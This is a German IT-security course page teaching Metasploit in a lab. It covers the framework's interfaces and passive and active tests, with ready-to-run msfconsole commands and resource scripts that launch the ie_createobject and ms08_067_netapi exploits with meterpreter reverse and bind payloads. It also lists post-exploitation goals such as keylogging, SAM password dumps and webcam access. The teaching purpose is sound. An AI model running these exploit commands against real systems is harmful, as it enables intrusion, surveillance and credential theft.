Kurs2: Projekt IT-Security TopPage
4.x Sicherheitsprobleme in Applikationen

Grundkonfiguration des metasploit-Framework
4.1
  • Das Metasploit-Projekt (http://www.metasploit.com/)
    Die OpenSource Penetration-Test und Entwicklungsumgebung wurde 2003 von HD Moore gegründet. Seit der Übernahme durch die Firma Rapid7 im Jahr 2007 stehen auch 2 kommerzielle Versionen zur Verfügung (Metasploit-Express und Metasploit-Pro). Die Software ist Bestandteil der BackTrack- und KaliLinux-DVD. Bei dem Framework handelt es sich (nach §202c StGB) um Dual-Use-Software, wodurch die Nutzung einen Straftat-Bestand erfüllen kann.
  • Wichtige Module sind:
    - Exploits: Schadensprogramme die verschiedene Sicherheitslücken ausnutzen
    - Payloads: Code der nach einem (erfolgreichen) Angriff übertragen/ausgeführt wird
    - Encoder: Verschleiern der Payloads (z.B. zum Test der Intrusion-Prevention-Systeme)
    - NOP-Generatoren: zur Verschleierung des Shell-Codes (modifizieren die Exploits)
    - Auxiliary: Helfer wie Scanner, Sniffer, Passwortknacker usw.
    - Ein wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
      (bzw. Übersicht https://rpm.metasploit.com/) läd das aktuelle (Linux-) Framework
  • Der Test (einer eventuell vorhandelen Sicherheitlücke) hat prinzipiell folgenden Ablauf
    1. Exploit-Auswahl: show exploits, use exploit/windows/...
    2. Payload-Auswahl: show payloads, set payload windows/shell...
    3. Variable setzen: set lhost ..., set rhost ..., set uripath ... usw.  
    4. Starten:         exploit
    5. Der Test:        z.B. Ein Browserzugriff startet eine meterpreter-Session  

    Grob können alle Tests in die Kategorie aktiv/passiv eingeordnet werden
    (siehe folgenden Aufbau)

  • Die Steuerung (des Framework-Servers) kann über verschiedene Interfaces erfolgen
    • Historisch über das Webinterface msfweb (ist in der Framework-Version-2.7 noch vorhanden)
      Aufruf: ./msfweb; Steuerung über Browser (http://localhost:55555/)
    • Für das akt. Browserfrontend ist ein Registrierungsschlüssel der Firma Rapid7 erforderlich
      Zugriff über die Adresse: https://localhost:3790/
    • Das Java-GUI (Graphical User Interface) msfgui war Bestandteil einiger Framework Versionen
      Aufruf: ./msfgui; bzw. java -jar msfgui.jar
      - https://www.scriptjunkie.us/msfgui/ (Infos)
      - https://github.com/scriptjunkie/msfgui.git (Download)
    • Das alternative Java-Frontend armitage kann ab Metasploit Version 4.9 verwendet werden und benötigt keinen Registrierungsschlüssel
      ACHTUNG: Bei störenden Viruswarnungen können die Dateien auch von https://github.com/rsmudge/armitage.git die armitage-master.zip geladen werden.
      - java -jar /opt/armitage-master/release/armitage-unix/armitage.jar
      - msfrpcd (öffnet Port 55553)
      - ./armitage (startet das Java-Frontend)
      - exploit, windows, browser, ie_createobject
        URIPATH = /
        PAYLOAD = windows/meterpreter/reverse_tcp
        launch
      
    • Das msfcli (Command Line Interface) war bis Version 4.11.0-2014 fester Bestandteil
      Aufruf: ./msfcli .....
      msfcli exploit/windows/browser/ie_createobject uripath=/ E 
    • Die msfconsole ist in allen Versionen enthalten
      Aufruf: msfconsole Consolenbefehl[e]
      ODER: msfconsole -x "Consolenbefehl1;Consolenbefehl2;..."
      ODER: Über eine Datei "name_of_resource_script.rc"
      msfd;
      msfconsole -x "use exploit/windows/browser/ie_createobject;set URIPATH /;run" ODER: msfconsole -x "use exploit/windows/browser/ie_createobject; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST IP-FW-Server; set URIPATH /; exploit;" ODER: Über eine Datei "name_of_resource_script.rc"
      use exploit/windows/browser/ie_createobject
       set PAYLOAD windows/meterpreter/reverse_tcp
       set LHOST IP-FW-Server
       set URIPATH /
       run
      Aufruf über: msfconsole -r name_of_resource_script.rc ODER: msf > resource name_of_resource_script.rc

Passiver Security Scan mit dem metasploit-Framework
4.2
  • Der erste Test kann über das alte, aber dafür sehr übersichtliche msfweb erfolgen (in der Framework-Version-2.7 noch vorhanden)
    - Entpacke zunächst das Metasploit-Framework 2.7 im /opt/ Verzeichnis.
    - kontrolliere das msfweb-Script auf eine "sichere" IP-Adresse und starte es.
    ./msfweb (dann im Browser http://localhost:55555/)
    Steuere (über das angebotene Web-Frontend) einen passiven Browser-Security-Scan für das Test-System
    - Zunächst wird die zu scannende Sicherheitslücke (Exploit) gewählt
      und dann das gewünschte Verhalten (Payload) des gescannten Hosts
  • Teste nun die Browser-Sicherheitslücke[n] zunächst mit einer Programmausführung.
    - Kommando: shutdown -s
    Könnten die Systeme auch remote gesteuert werden?
    - mit einer Shell
    - mit grafischer Oberfläche
    Welche Payloads könnten dabei auch bei Systemen hinter einer Firewall arbeiten?
    - mit einer Shell
    - mit grafischer Oberfläche
    Teste Sicherheitslücken in einem Browser-PlugIn (z.B. Medienplayer)
    - Welche zusätzliche Risiken (bezüglich der Verbreitung des Exploits) bestehen dann?

Aktiver Security Scan mit dem metasploit-Framework
4.3
  • Führe nun ein Aktivtest mit den (am Netz erreichbaren) Test-Systemen durch
    - Z.B. Der Conficker-Wurm nutzte die ms08_067_netapi-Sicherheitslücke im SMB-Protokoll von Win-XP-SP0
    - Der Test über eine msfconsole (auch im Java-GUI über Console, New startbar) könnte wie folgt durchgeführt werden
    1. Exploit: show exploits, use exploit/windows/smb...
    2. Payload: show payloads, set payload windows/shell...
    3. Target:  set lhost ..., set rhost ..., usw.  
    4. Start:   exploit
    5. Test:    z.B. meterpreter-Session
    Für einen automatisierten Test können alle Einstellungen (beim Start) übergeben werden
    msfd;
    msfconsole -x "use exploit/windows/smb/ms08_067_netapi;set RHOST 172.20.42.ZIEL;run" ODER: msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.20.42.ZIEL; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.20.42.FRAMEWORK; exploit;" ODER: Über eine Datei "name_of_resource_script.rc"
    use exploit/windows/smb/ms08_067_netapi
     set RHOST 172.20.42.ZIEL
     set PAYLOAD windows/meterpreter/bind_tcp  
     set LHOST 172.20.42.FRAMEWORK
     run
    Aufruf über: msfconsole -r name_of_resource_script.rc ODER: msf > resource name_of_resource_script.rc
  • Das alternative Java-Frontend armitage kann ab Metasploit Version 4.9 verwendet werden
    - msfrpcd (öffnet Port 55553)
    - ./armitage (startet das Java-Frontend)
    - Hosts, Add Hosts, [IP]; Attacks, Find Attacks; R-Click auf Host,  
      Attack, smb, check exploits  
    
  • Teste Zugriffe auf:
    sensible DatenZugriff?
    Das Dateisystem (lesen/schreiben)
    Tatatureingaben (Keyboardsniffer)
    Den akt. Bildschirm (Screenshot)
    Passwortverwaltung (SAM)
    Mikrofon
    Webcam (Photo/Stream)

Meinlf Mühlenjost 2022